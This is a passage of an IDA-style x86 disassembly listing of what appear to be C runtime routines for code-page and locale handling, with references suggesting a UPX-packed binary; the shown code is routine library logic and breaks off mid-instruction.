sub_411ACB+Dj mov eax, [eax+10h] loc_411AFA: ; CODE XREF: sub_411ACB+2Aj pop esi pop ebp retn sub_411ACB endp ; =============== S U B R O U T I N E ======================================= sub_411AFD proc near ; CODE XREF: sub_411E43+14Ep ; sub_411E43+1A3p sub eax, 3A4h jz short loc_411B26 sub eax, 4 jz short loc_411B20 sub eax, 0Dh jz short loc_411B1A dec eax jz short loc_411B14 xor eax, eax retn ; --------------------------------------------------------------------------- loc_411B14: ; CODE XREF: sub_411AFD+12j mov eax, 404h retn ; --------------------------------------------------------------------------- loc_411B1A: ; CODE XREF: sub_411AFD+Fj mov eax, 412h retn ; --------------------------------------------------------------------------- loc_411B20: ; CODE XREF: sub_411AFD+Aj mov eax, 804h retn ; --------------------------------------------------------------------------- loc_411B26: ; CODE XREF: sub_411AFD+5j mov eax, 411h retn sub_411AFD endp ; =============== S U B R O U T I N E ======================================= sub_411B2C proc near ; CODE XREF: sub_411E43+2Dp mov edi, edi push esi push edi mov esi, eax push 101h xor edi, edi lea eax, [esi+1Ch] push edi push eax call sub_40BD40 xor eax, eax movzx ecx, ax mov eax, ecx mov [esi+4], edi mov [esi+8], edi mov [esi+0Ch], edi shl ecx, 10h or eax, ecx lea edi, [esi+10h] stosd stosd stosd mov ecx, offset dword_42A6D0 add esp, 0Ch lea eax, [esi+1Ch] sub ecx, esi mov edi, 101h loc_411B70: ; CODE XREF: sub_411B2C+4Bj mov dl, [ecx+eax] mov [eax], dl inc eax dec edi jnz short loc_411B70 lea eax, [esi+11Dh] mov esi, 100h loc_411B84: ; CODE XREF: sub_411B2C+5Fj mov dl, [eax+ecx] mov [eax], dl inc eax dec esi jnz short loc_411B84 pop edi pop esi retn sub_411B2C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411B90 proc near ; CODE XREF: sub_411E43+171p var_51C = dword ptr -51Ch var_518 = byte ptr -518h var_512 = byte ptr -512h var_511 = byte ptr -511h var_504 = word ptr -504h var_304 = byte ptr -304h var_204 = byte ptr -204h var_104 = byte ptr -104h var_4 = dword ptr -4 mov edi, edi push ebp mov ebp, esp sub esp, 51Ch mov eax, dword_42A034 xor eax, ebp mov [ebp+var_4], eax push ebx push edi lea eax, [ebp+var_518] push eax push dword ptr [esi+4] call dword_41D138 ; GetCPInfo mov edi, 100h test eax, eax jz loc_411CBF xor eax, eax loc_411BC6: ; CODE XREF: sub_411B90+40j mov [ebp+eax+var_104], al inc eax cmp eax, edi jb short loc_411BC6 mov al, [ebp+var_512] mov [ebp+var_104], 20h test al, al jz short loc_411C11 lea ebx, [ebp+var_511] loc_411BE9: ; CODE XREF: sub_411B90+7Fj movzx ecx, al movzx eax, byte ptr [ebx] cmp ecx, eax ja short loc_411C09 sub eax, ecx inc eax push eax lea edx, [ebp+ecx+var_104] push 20h push edx call sub_40BD40 add esp, 0Ch loc_411C09: ; CODE XREF: sub_411B90+61j inc ebx mov al, [ebx] inc ebx test al, al jnz short loc_411BE9 loc_411C11: ; CODE XREF: sub_411B90+51j push 0 push dword ptr [esi+0Ch] lea eax, [ebp+var_504] push dword ptr [esi+4] push eax push edi lea eax, [ebp+var_104] push eax push 1 push 0 call sub_4151A8 xor ebx, ebx push ebx push dword ptr [esi+4] lea eax, [ebp+var_204] push edi push eax push edi lea eax, [ebp+var_104] push eax push edi push dword ptr [esi+0Ch] push ebx call sub_414FA9 add esp, 44h push ebx push dword ptr [esi+4] lea eax, [ebp+var_304] push edi push eax push edi lea eax, [ebp+var_104] push eax push 200h push dword ptr [esi+0Ch] push ebx call sub_414FA9 add esp, 24h xor eax, eax loc_411C7B: ; CODE XREF: sub_411B90+12Bj movzx ecx, [ebp+eax*2+var_504] test cl, 1 jz short loc_411C96 or byte ptr [esi+eax+1Dh], 10h mov cl, [ebp+eax+var_204] jmp short loc_411CA7 ; --------------------------------------------------------------------------- loc_411C96: ; CODE XREF: sub_411B90+F6j test cl, 2 jz short loc_411CB0 or byte ptr [esi+eax+1Dh], 20h mov cl, [ebp+eax+var_304] loc_411CA7: ; CODE XREF: sub_411B90+104j mov [esi+eax+11Dh], cl jmp short loc_411CB8 ; --------------------------------------------------------------------------- loc_411CB0: ; CODE XREF: sub_411B90+109j mov byte ptr [esi+eax+11Dh], 0 loc_411CB8: ; CODE XREF: sub_411B90+11Ej inc eax cmp eax, edi jb short loc_411C7B jmp short loc_411D15 ; --------------------------------------------------------------------------- loc_411CBF: ; CODE XREF: sub_411B90+2Ej lea eax, [esi+11Dh] mov [ebp+var_51C], 0FFFFFF9Fh xor ecx, ecx sub [ebp+var_51C], eax loc_411CD7: ; CODE XREF: sub_411B90+183j mov edx, [ebp+var_51C] lea eax, [esi+ecx+11Dh] add edx, eax lea ebx, [edx+20h] cmp ebx, 19h ja short loc_411CFA or byte ptr [esi+ecx+1Dh], 10h mov dl, cl add dl, 20h jmp short loc_411D09 ; --------------------------------------------------------------------------- loc_411CFA: ; CODE XREF: sub_411B90+15Cj cmp edx, 19h ja short loc_411D0D or byte ptr [esi+ecx+1Dh], 20h mov dl, cl sub dl, 20h loc_411D09: ; CODE XREF: sub_411B90+168j mov [eax], dl jmp short loc_411D10 ; --------------------------------------------------------------------------- loc_411D0D: ; CODE XREF: sub_411B90+16Dj mov byte ptr [eax], 0 loc_411D10: ; CODE XREF: sub_411B90+17Bj inc ecx cmp ecx, edi jb short loc_411CD7 loc_411D15: ; CODE XREF: sub_411B90+12Dj mov ecx, [ebp+var_4] pop edi xor ecx, ebp pop ebx call sub_40AC1C leave retn sub_411B90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411D23 proc near ; CODE XREF: sub_40C799+5Bp ; sub_412028+1Ap var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h push 0Ch push offset dword_426BF0 call __SEH_prolog4 call sub_40E38F mov edi, eax mov eax, dword_42ABF4 test [edi+70h], eax jz short loc_411D5D cmp dword ptr [edi+6Ch], 0 jz short loc_411D5D mov esi, [edi+68h] loc_411D49: ; CODE XREF: sub_411D23+96j test esi, esi jnz short loc_411D55 push 20h call sub_40DAD0 pop ecx loc_411D55: ; CODE XREF: sub_411D23+28j mov eax, esi call __SEH_epilog4 retn ; --------------------------------------------------------------------------- loc_411D5D: ; CODE XREF: sub_411D23+1Bj ; sub_411D23+21j push 0Dh call sub_40CFA9 pop ecx and [ebp+ms_exc.disabled], 0 mov esi, [edi+68h] mov [ebp+var_1C], esi cmp esi, dword_42AAF8 jz short loc_411DAD test esi, esi jz short loc_411D95 push esi call dword_41D218 ; InterlockedDecrement test eax, eax jnz short loc_411D95 cmp esi, offset dword_42A6D0 jz short loc_411D95 push esi call sub_40ADC8 pop ecx loc_411D95: ; CODE XREF: sub_411D23+56j ; sub_411D23+61j ... mov eax, dword_42AAF8 mov [edi+68h], eax mov esi, dword_42AAF8 mov [ebp+var_1C], esi push esi call dword_41D21C ; InterlockedIncrement loc_411DAD: ; CODE XREF: sub_411D23+52j mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_411DBE jmp short loc_411D49 sub_411D23 endp ; =============== S U B R O U T I N E ======================================= sub_411DBB proc near ; DATA XREF: UPX0:00426C08o mov esi, [ebp-1Ch] sub_411DBB endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_411DBE proc near ; CODE XREF: sub_411D23+91p push 0Dh call sub_40CECF pop ecx retn sub_411DBE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411DC7 proc near ; CODE XREF: sub_411E43+1Bp ; sub_412028+25p var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = byte ptr -4 mov edi, edi push ebp mov ebp, esp sub esp, 10h push ebx xor ebx, ebx push ebx lea ecx, [ebp+var_10] call sub_40C799 mov dword_42ED00, ebx cmp esi, 0FFFFFFFEh jnz short loc_411E04 mov dword_42ED00, 1 call dword_41D134 ; GetOEMCP loc_411DF6: ; CODE XREF: sub_411DC7+52j ; sub_411DC7+69j cmp [ebp+var_4], bl jz short loc_411E40 mov ecx, [ebp+var_8] and dword ptr [ecx+70h], 0FFFFFFFDh jmp short loc_411E40 ; --------------------------------------------------------------------------- loc_411E04: ; CODE XREF: sub_411DC7+1Dj cmp esi, 0FFFFFFFDh jnz short loc_411E1B mov dword_42ED00, 1 call dword_41D0B8 ; GetACP jmp short loc_411DF6 ; --------------------------------------------------------------------------- loc_411E1B: ; CODE XREF: sub_411DC7+40j cmp esi, 0FFFFFFFCh jnz short loc_411E32 mov eax, [ebp+var_10] mov eax, [eax+4] mov dword_42ED00, 1 jmp short loc_411DF6 ; --------------------------------------------------------------------------- loc_411E32: ; CODE XREF: sub_411DC7+57j cmp [ebp+var_4], bl jz short loc_411E3E mov eax, [ebp+var_8] and dword ptr [eax+70h], 0FFFFFFFDh loc_411E3E: ; CODE XREF: sub_411DC7+6Ej mov eax, esi loc_411E40: ; CODE XREF: sub_411DC7+32j ; sub_411DC7+3Bj pop ebx leave retn sub_411DC7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411E43 proc near ; CODE XREF: sub_412028+5Ep var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_12 = byte ptr -12h var_11 = byte ptr -11h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch mov edi, edi push ebp mov ebp, esp sub esp, 20h mov eax, dword_42A034 xor eax, ebp mov [ebp+var_4], eax push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] push edi call sub_411DC7 mov edi, eax xor esi, esi mov [ebp+arg_0], edi cmp edi, esi jnz short loc_411E7C loc_411E6E: ; CODE XREF: sub_411E43+1CDj mov eax, ebx call sub_411B2C loc_411E75: ; CODE XREF: sub_411E43+176j xor eax, eax jmp loc_412019 ; --------------------------------------------------------------------------- loc_411E7C: ; CODE XREF: sub_411E43+29j mov [ebp+var_1C], esi xor eax, eax loc_411E81: ; CODE XREF: sub_411E43+55j cmp dword_42AB00[eax], edi jz loc_411F1E inc [ebp+var_1C] add eax, 30h cmp eax, 0F0h jb short loc_411E81 cmp edi, 0FDE8h jz loc_412016 cmp edi, 0FDE9h jz loc_412016 movzx eax, di push eax call dword_41D130 ; IsValidCodePage test eax, eax jz loc_412016 lea eax, [ebp+var_18] push eax push edi call dword_41D138 ; GetCPInfo test eax, eax jz loc_41200A push 101h lea eax, [ebx+1Ch] push esi push eax call sub_40BD40 xor edx, edx inc edx add esp, 0Ch mov [ebx+4], edi mov [ebx+0Ch], esi cmp [ebp+var_18], edx jbe loc_411FF3 cmp [ebp+var_12], 0 jz loc_411FD4 lea esi, [ebp+var_11] loc_411F08: ; CODE XREF: sub_411E43+18Bj mov cl, [esi] test cl, cl jz loc_411FD4 movzx eax, byte ptr [esi-1] movzx ecx, cl jmp loc_411FC4 ; --------------------------------------------------------------------------- loc_411F1E: ; CODE XREF: sub_411E43+44j push 101h lea eax, [ebx+1Ch] push esi push eax call sub_40BD40 mov ecx, [ebp+var_1C] add esp, 0Ch imul ecx, 30h mov [ebp+var_20], esi lea esi, dword_42AB10[ecx] mov [ebp+var_1C], esi jmp short loc_411F6E ; --------------------------------------------------------------------------- loc_411F44: ; CODE XREF: sub_411E43+12Ej mov al, [esi+1] test al, al jz short loc_411F73 movzx edi, byte ptr [esi] movzx eax, al jmp short loc_411F65 ; --------------------------------------------------------------------------- loc_411F53: ; CODE XREF: sub_411E43+124j mov eax, [ebp+var_20] mov al, byte_42AAFC[eax] or [ebx+edi+1Dh], al movzx eax, byte ptr [esi+1] inc edi loc_411F65: ; CODE XREF: sub_411E43+10Ej cmp edi, eax jbe short loc_411F53 mov edi, [ebp+arg_0] inc esi inc esi loc_411F6E: ; CODE XREF: sub_411E43+FFj ; sub_411E43+140j cmp byte ptr [esi], 0 jnz short loc_411F44 loc_411F73: ; CODE XREF: sub_411E43+106j mov esi, [ebp+var_1C] inc [ebp+var_20] add esi, 8 cmp [ebp+var_20], 4 mov [ebp+var_1C], esi jb short loc_411F6E mov eax, edi mov [ebx+4], edi mov dword ptr [ebx+8], 1 call sub_411AFD push 6 mov [ebx+0Ch], eax lea eax, [ebx+10h] lea ecx, dword_42AB04[ecx] pop edx loc_411FA5: ; CODE XREF: sub_411E43+16Dj mov si, [ecx] inc ecx mov [eax], si inc ecx inc eax inc eax dec edx jnz short loc_411FA5 loc_411FB2: ; CODE XREF: sub_411E43+1C5j mov esi, ebx call sub_411B90 jmp loc_411E75 ; --------------------------------------------------------------------------- loc_411FBE: ; CODE XREF: sub_411E43+183j or byte ptr [ebx+eax+1Dh], 4 inc eax loc_411FC4: ; CODE XREF: sub_411E43+D6j cmp eax, ecx jbe short loc_411FBE inc esi inc esi cmp byte ptr [esi-1], 0 jnz loc_411F08 loc_411FD4: ; CODE XREF: sub_411E43+BCj ; sub_411E43+C9j lea eax, [ebx+1Eh] mov ecx, 0FEh loc_411FDC: ; CODE XREF: sub_411E43+19Ej or byte ptr [eax], 8 inc eax dec ecx jnz short loc_411FDC mov eax, [ebx+4] call sub_411AFD mov [ebx+0Ch], eax mov [ebx+8], edx jmp short loc_411FF6 ; --------------------------------------------------------------------------- loc_411FF3: ; CODE XREF: sub_411E43+B2j mov [ebx+8], esi loc_411FF6: ; CODE XREF: sub_411E43+1AEj xor eax, eax movzx ecx, ax mov eax, ecx shl ecx, 10h or eax, ecx lea edi, [ebx+10h] stosd stosd stosd jmp short loc_411FB2 ; --------------------------------------------------------------------------- loc_41200A: ; CODE XREF: sub_411E43+8Ej cmp dword_42ED00, esi jnz loc_411E6E loc_412016: ; CODE XREF: sub_411E43+5Dj ; sub_411E43+69j ... or eax, 0FFFFFFFFh loc_412019: ; CODE XREF: sub_411E43+34j mov ecx, [ebp+var_4] pop edi pop esi xor ecx, ebp pop ebx call sub_40AC1C leave retn sub_411E43 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412028 proc near ; CODE XREF: sub_4121C2+Bp var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 00412194 SIZE 0000002E BYTES push 14h push offset dword_426C10 call __SEH_prolog4 or [ebp+var_20], 0FFFFFFFFh call sub_40E38F mov edi, eax mov [ebp+var_24], edi call sub_411D23 mov ebx, [edi+68h] mov esi, [ebp+arg_0] call sub_411DC7 mov [ebp+arg_0], eax cmp eax, [ebx+4] jz loc_4121B5 push 220h call sub_40EF2A pop ecx mov ebx, eax test ebx, ebx jz loc_4121B9 mov ecx, 88h mov esi, [edi+68h] mov edi, ebx rep movsd and dword ptr [ebx], 0 push ebx push [ebp+arg_0] call sub_411E43 pop ecx pop ecx mov [ebp+var_20], eax test eax, eax jnz loc_412194 mov esi, [ebp+var_24] push dword ptr [esi+68h] call dword_41D218 ; InterlockedDecrement test eax, eax jnz short loc_4120B9 mov eax, [esi+68h] cmp eax, offset dword_42A6D0 jz short loc_4120B9 push eax call sub_40ADC8 pop ecx loc_4120B9: ; CODE XREF: sub_412028+7Ej ; sub_412028+88j mov [esi+68h], ebx push ebx mov edi, dword_41D21C call edi ; dword_41D21C test byte ptr [esi+70h], 2 jnz loc_4121B9 test byte ptr dword_42ABF4, 1 jnz loc_4121B9 push 0Dh call sub_40CFA9 pop ecx and [ebp+ms_exc.disabled], 0 mov eax, [ebx+4] mov dword_42ED10, eax mov eax, [ebx+8] mov dword_42ED14, eax mov eax, [ebx+0Ch] mov dword_42ED18, eax xor eax, eax loc_412102: ; CODE XREF: sub_412028+F0j mov [ebp+var_1C], eax cmp eax, 5 jge short loc_41211A mov cx, [ebx+eax*2+10h] mov word_42ED04[eax*2], cx inc eax jmp short loc_412102 ; --------------------------------------------------------------------------- loc_41211A: ; CODE XREF: sub_412028+E0j xor eax, eax loc_41211C: ; CODE XREF: sub_412028+109j mov [ebp+var_1C], eax cmp eax, 101h jge short loc_412133 mov cl, [eax+ebx+1Ch] mov byte_42A8F0[eax], cl inc eax jmp short loc_41211C ; --------------------------------------------------------------------------- loc_412133: ; CODE XREF: sub_412028+FCj xor eax, eax loc_412135: ; CODE XREF: sub_412028+125j mov [ebp+var_1C], eax cmp eax, 100h jge short loc_41214F mov cl, [eax+ebx+11Dh] mov byte_42A9F8[eax], cl inc eax jmp short loc_412135 ; --------------------------------------------------------------------------- loc_41214F: ; CODE XREF: sub_412028+115j push dword_42AAF8 call dword_41D218 ; InterlockedDecrement test eax, eax jnz short loc_412172 mov eax, dword_42AAF8 cmp eax, offset dword_42A6D0 jz short loc_412172 push eax call sub_40ADC8 pop ecx loc_412172: ; CODE XREF: sub_412028+135j ; sub_412028+141j mov dword_42AAF8, ebx push ebx call edi ; dword_41D21C mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_412189 jmp short loc_4121B9 sub_412028 endp ; =============== S U B R O U T I N E ======================================= sub_412189 proc near ; CODE XREF: sub_412028+15Ap ; DATA XREF: UPX0:00426C28o push 0Dh call sub_40CECF pop ecx retn sub_412189 endp ; --------------------------------------------------------------------------- jmp short loc_4121B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_412028 loc_412194: ; CODE XREF: sub_412028+6Aj cmp eax, 0FFFFFFFFh jnz short loc_4121B9 cmp ebx, offset dword_42A6D0 jz short loc_4121A8 push ebx call sub_40ADC8 pop ecx loc_4121A8: ; CODE XREF: sub_412028+177j call sub_40C862 mov dword ptr [eax], 16h jmp short loc_4121B9 ; --------------------------------------------------------------------------- loc_4121B5: ; CODE XREF: sub_412028+30j and [ebp+var_20], 0 loc_4121B9: ; CODE XREF: sub_412028+45j ; sub_412028+A1j ... mov eax, [ebp+var_20] call __SEH_epilog4 retn ; END OF FUNCTION CHUNK FOR sub_412028 ; =============== S U B R O U T I N E ======================================= sub_4121C2 proc near ; CODE XREF: sub_40F568+Ep ; sub_40F5C7+9p ... cmp dword_430270, 0 jnz short loc_4121DD push 0FFFFFFFDh call sub_412028 pop ecx mov dword_430270, 1 loc_4121DD: ; CODE XREF: sub_4121C2+7j xor eax, eax retn sub_4121C2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4121E0 proc near ; CODE XREF: sub_40E3A9+F6p ; sub_412451+31p arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_0] mov eax, [esi+0BCh] xor ebx, ebx push edi cmp eax, ebx jz short loc_412266 cmp eax, offset off_42AE00 jz short loc_412266 mov eax, [esi+0B0h] cmp eax, ebx jz short loc_412266 cmp [eax], ebx jnz short loc_412266 mov eax, [esi+0B8h] cmp eax, ebx jz short loc_41222D cmp [eax], ebx jnz short loc_41222D push eax call sub_40ADC8 push dword ptr [esi+0BCh] call sub_4153C4 pop ecx pop ecx loc_41222D: ; CODE XREF: sub_4121E0+34j ; sub_4121E0+38j mov eax, [esi+0B4h] cmp eax, ebx jz short loc_41224E cmp [eax], ebx jnz short loc_41224E push eax call sub_40ADC8 push dword ptr [esi+0BCh] call sub_41537F pop ecx pop ecx loc_41224E: ; CODE XREF: sub_4121E0+55j ; sub_4121E0+59j push dword ptr [esi+0B0h] call sub_40ADC8 push dword ptr [esi+0BCh] call sub_40ADC8 pop ecx pop ecx loc_412266: ; CODE XREF: sub_4121E0+15j ; sub_4121E0+1Cj ... mov eax, [esi+0C0h] cmp eax, ebx jz short loc_4122B4 cmp [eax], ebx jnz short loc_4122B4 mov eax, [esi+0C4h] sub eax, 0FEh push eax call sub_40ADC8 mov eax, [esi+0CCh] mov edi, 80h sub eax, edi push eax call sub_40ADC8 mov eax, [esi+0D0h] sub eax, edi push eax call sub_40ADC8 push dword ptr [esi+0C0h] call sub_40ADC8 add esp, 10h loc_4122B4: ; CODE XREF: sub_4121E0+8Ej ; sub_4121E0+92j lea edi, [esi+0D4h] mov eax, [edi] cmp eax, offset off_42AD40 jz short loc_4122DA cmp [eax+0B4h], ebx jnz short loc_4122DA push eax call sub_4151EA push dword ptr [edi] call sub_40ADC8 pop ecx pop ecx loc_4122DA: ; CODE XREF: sub_4121E0+E1j ; sub_4121E0+E9j lea edi, [esi+50h] mov [ebp+arg_0], 6 loc_4122E4: ; CODE XREF: sub_4121E0+13Bj cmp dword ptr [edi-8], offset dword_42ABF8 jz short loc_4122FE mov eax, [edi] cmp eax, ebx jz short loc_4122FE cmp [eax], ebx jnz short loc_4122FE push eax call sub_40ADC8 pop ecx loc_4122FE: ; CODE XREF: sub_4121E0+10Bj ; sub_4121E0+111j ... cmp [edi-4], ebx jz short loc_412315 mov eax, [edi+4] cmp eax, ebx jz short loc_412315 cmp [eax], ebx jnz short loc_412315 push eax call sub_40ADC8 pop ecx loc_412315: ; CODE XREF: sub_4121E0+121j ; sub_4121E0+128j ... add edi, 10h dec [ebp+arg_0] jnz short loc_4122E4 push esi call sub_40ADC8 pop ecx pop edi pop esi pop ebx pop ebp retn sub_4121E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412329 proc near ; CODE XREF: sub_40E22F+B7p ; sub_412451+12p arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp push ebx push esi mov esi, dword_41D21C push edi mov edi, [ebp+arg_0] push edi call esi ; dword_41D21C mov eax, [edi+0B0h] test eax, eax jz short loc_41234A push eax call esi ; dword_41D21C loc_41234A: ; CODE XREF: sub_412329+1Cj mov eax, [edi+0B8h] test eax, eax jz short loc_412357 push eax call esi ; dword_41D21C loc_412357: ; CODE XREF: sub_412329+29j mov eax, [edi+0B4h] test eax, eax jz short loc_412364 push eax call esi ; dword_41D21C loc_412364: ; CODE XREF: sub_412329+36j mov eax, [edi+0C0h] test eax, eax jz short loc_412371 push eax call esi ; dword_41D21C loc_412371: ; CODE XREF: sub_412329+43j lea ebx, [edi+50h] mov [ebp+arg_0], 6 loc_41237B: ; CODE XREF: sub_412329+7Aj cmp dword ptr [ebx-8], offset dword_42ABF8 jz short loc_41238D mov eax, [ebx] test eax, eax jz short loc_41238D push eax call esi ; dword_41D21C loc_41238D: ; CODE XREF: sub_412329+59j ; sub_412329+5Fj cmp dword ptr [ebx-4], 0 jz short loc_41239D mov eax, [ebx+4] test eax, eax jz short loc_41239D push eax call esi ; dword_41D21C loc_41239D: ; CODE XREF: sub_412329+68j ; sub_412329+6Fj add ebx, 10h dec [ebp+arg_0] jnz short loc_41237B mov eax, [edi+0D4h] add eax, 0B4h push eax call esi ; dword_41D21C pop edi pop esi pop ebx pop ebp retn sub_412329 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4123B8 proc near ; CODE XREF: sub_40E3A9+DAp ; sub_412451+1Dp arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp push edi mov edi, [ebp+arg_0] test edi, edi jz loc_41244C push ebx push esi mov esi, dword_41D218 push edi call esi ; dword_41D218 mov eax, [edi+0B0h] test eax, eax jz short loc_4123E1 push eax call esi ; dword_41D218 loc_4123E1: ; CODE XREF: sub_4123B8+24j mov eax, [edi+0B8h] test eax, eax jz short loc_4123EE push eax call esi ; dword_41D218 loc_4123EE: ; CODE XREF: sub_4123B8+31j mov eax, [edi+0B4h] test eax, eax jz short loc_4123FB push eax call esi ; dword_41D218 loc_4123FB: ; CODE XREF: sub_4123B8+3Ej mov eax, [edi+0C0h] test eax, eax jz short loc_412408 push eax call esi ; dword_41D218 loc_412408: ; CODE XREF: sub_4123B8+4Bj lea ebx, [edi+50h] mov [ebp+arg_0], 6 loc_412412: ; CODE XREF: sub_4123B8+82j cmp dword ptr [ebx-8], offset dword_42ABF8 jz short loc_412424 mov eax, [ebx] test eax, eax jz short loc_412424 push eax call esi ; dword_41D218 loc_412424: ; CODE XREF: sub_4123B8+61j ; sub_4123B8+67j cmp dword ptr [ebx-4], 0 jz short loc_412434 mov eax, [ebx+4] test eax, eax jz short loc_412434 push eax call esi ; dword_41D218 loc_412434: ; CODE XREF: sub_4123B8+70j ; sub_4123B8+77j add ebx, 10h dec [ebp+arg_0] jnz short loc_412412 mov eax, [edi+0D4h] add eax, 0B4h push eax call esi ; dword_41D218 pop esi pop ebx loc_41244C: ; CODE XREF: sub_4123B8+Bj mov eax, edi pop edi pop ebp retn sub_4123B8 endp ; =============== S U B R O U T I N E ======================================= sub_412451 proc near ; CODE XREF: sub_41248F+54p test edi, edi jz short loc_41248C test eax, eax jz short loc_41248C push esi mov esi, [eax] cmp esi, edi jz short loc_412488 push edi mov [eax], edi call sub_412329 pop ecx test esi, esi jz short loc_412488 push esi call sub_4123B8 cmp dword ptr [esi], 0 pop ecx jnz short loc_412488 cmp esi, offset dword_42AC00 jz short loc_412488 push esi call sub_4121E0 pop ecx loc_412488: ; CODE XREF: sub_412451+Dj ; sub_412451+1Aj ... mov eax, edi pop esi retn ; --------------------------------------------------------------------------- loc_41248C: ; CODE XREF: sub_412451+2j ; sub_412451+6j xor eax, eax retn sub_412451 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41248F proc near ; CODE XREF: sub_40C799+3Bp var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h push 0Ch push offset dword_426C30 call __SEH_prolog4 call sub_40E38F mov esi, eax mov eax, dword_42ABF4 test [esi+70h], eax jz short loc_4124CE cmp dword ptr [esi+6Ch], 0 jz short loc_4124CE call sub_40E38F mov esi, [eax+6Ch] loc_4124BA: ; CODE XREF: sub_41248F+68j test esi, esi jnz short loc_4124C6 push 20h call sub_40DAD0 pop ecx loc_4124C6: ; CODE XREF: sub_41248F+2Dj mov eax, esi call __SEH_epilog4 retn ; --------------------------------------------------------------------------- loc_4124CE: ; CODE XREF: sub_41248F+1Bj ; sub_41248F+21j push 0Ch call sub_40CFA9 pop ecx and [ebp+ms_exc.disabled], 0 lea eax, [esi+6Ch] mov edi, off_42ACD8 call sub_412451 mov [ebp+var_1C], eax mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_4124F9 jmp short loc_4124BA sub_41248F endp ; =============== S U B R O U T I N E ======================================= sub_4124F9 proc near ; CODE XREF: sub_41248F+63p ; DATA XREF: UPX0:00426C48o push 0Ch call sub_40CECF pop ecx mov esi, [ebp-1Ch] retn sub_4124F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412505 proc near ; CODE XREF: sub_41283F+15p var_10 = dword ptr -10h var_C = byte ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch mov edi, edi push ebp mov ebp, esp sub esp, 10h mov eax, dword_42A034 xor eax, ebp mov [ebp+var_4], eax push ebx push esi mov esi, [ebp+arg_4] test byte ptr [esi+0Ch], 40h push edi jnz loc_41265D push esi call sub_411ACB pop ecx mov ebx, offset dword_42A3E0 cmp eax, 0FFFFFFFFh jz short loc_412566 push esi call sub_411ACB pop ecx cmp eax, 0FFFFFFFEh jz short loc_412566 push esi call sub_411ACB sar eax, 5 push esi lea edi, ds:430160h[eax*4] call sub_411ACB and eax, 1Fh pop ecx shl eax, 6 add eax, [edi] pop ecx jmp short loc_412568 ; --------------------------------------------------------------------------- loc_412566: ; CODE XREF: sub_412505+31j ; sub_412505+3Dj mov eax, ebx loc_412568: ; CODE XREF: sub_412505+5Fj mov al, [eax+24h] and al, 7Fh cmp al, 2 jz loc_41265D push esi call sub_411ACB pop ecx cmp eax, 0FFFFFFFFh jz short loc_4125AF push esi call sub_411ACB pop ecx cmp eax, 0FFFFFFFEh jz short loc_4125AF push esi call sub_411ACB sar eax, 5 push esi lea edi, ds:430160h[eax*4] call sub_411ACB and eax, 1Fh pop ecx shl eax, 6 add eax, [edi] pop ecx jmp short loc_4125B1 ; --------------------------------------------------------------------------- loc_4125AF: ; CODE XREF: sub_412505+7Aj ; sub_412505+86j mov eax, ebx loc_4125B1: ; CODE XREF: sub_412505+A8j mov al, [eax+24h] and al, 7Fh cmp al, 1 jz loc_41265D push esi call sub_411ACB pop ecx cmp eax, 0FFFFFFFFh jz short loc_4125F8 push esi call sub_411ACB pop ecx cmp eax, 0FFFFFFFEh jz short loc_4125F8 push esi call sub_411ACB sar eax, 5 push esi lea edi, ds:430160h[eax*4] call sub_411ACB and eax, 1Fh pop ecx shl eax, 6 add eax, [edi] pop ecx jmp short loc_4125FA ; --------------------------------------------------------------------------- loc_4125F8: ; CODE XREF: sub_412505+C3j ; sub_412505+CFj mov eax, ebx loc_4125FA: ; CODE XREF: sub_412505+F1j test byte ptr [eax+4], 80h jz short loc_41265D push [ebp+arg_0] lea eax, [ebp+var_C] push 5 push eax lea eax, [ebp+var_10] push eax call sub_4157D0 add esp, 10h test eax, eax jz short loc_412620 loc_412619: ; CODE XREF: sub_412505+14Aj mov eax, 0FFFFh jmp short loc_41267D ; --------------------------------------------------------------------------- loc_412620: ; CODE XREF: sub_412505+112j xor edi, edi cmp [ebp+var_10], edi jle short loc_412657 loc_412627: ; CODE XREF: sub_412505+150j dec dword ptr [esi+4] js short loc_41263E mov eax, [esi] mov cl, [ebp+edi+var_C] mov [eax], cl mov ecx, [esi] movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx jmp short loc_41264C ; --------------------------------------------------------------------------- loc_41263E: ; CODE XREF: sub_412505+125j movsx eax, [ebp+edi+var_C] push esi push eax call sub_40C635 pop ecx pop ecx loc_41264C: ; CODE XREF: sub_412505+137j cmp eax, 0FFFFFFFFh jz short loc_412619 inc edi cmp edi, [ebp+var_10] jl short loc_412627 loc_412657: ; CODE XREF: sub_412505+120j mov ax, word ptr [ebp+arg_0] jmp short loc_41267D ; --------------------------------------------------------------------------- loc_41265D: ; CODE XREF: sub_412505+1Cj ; sub_412505+6Aj ... add dword ptr [esi+4], 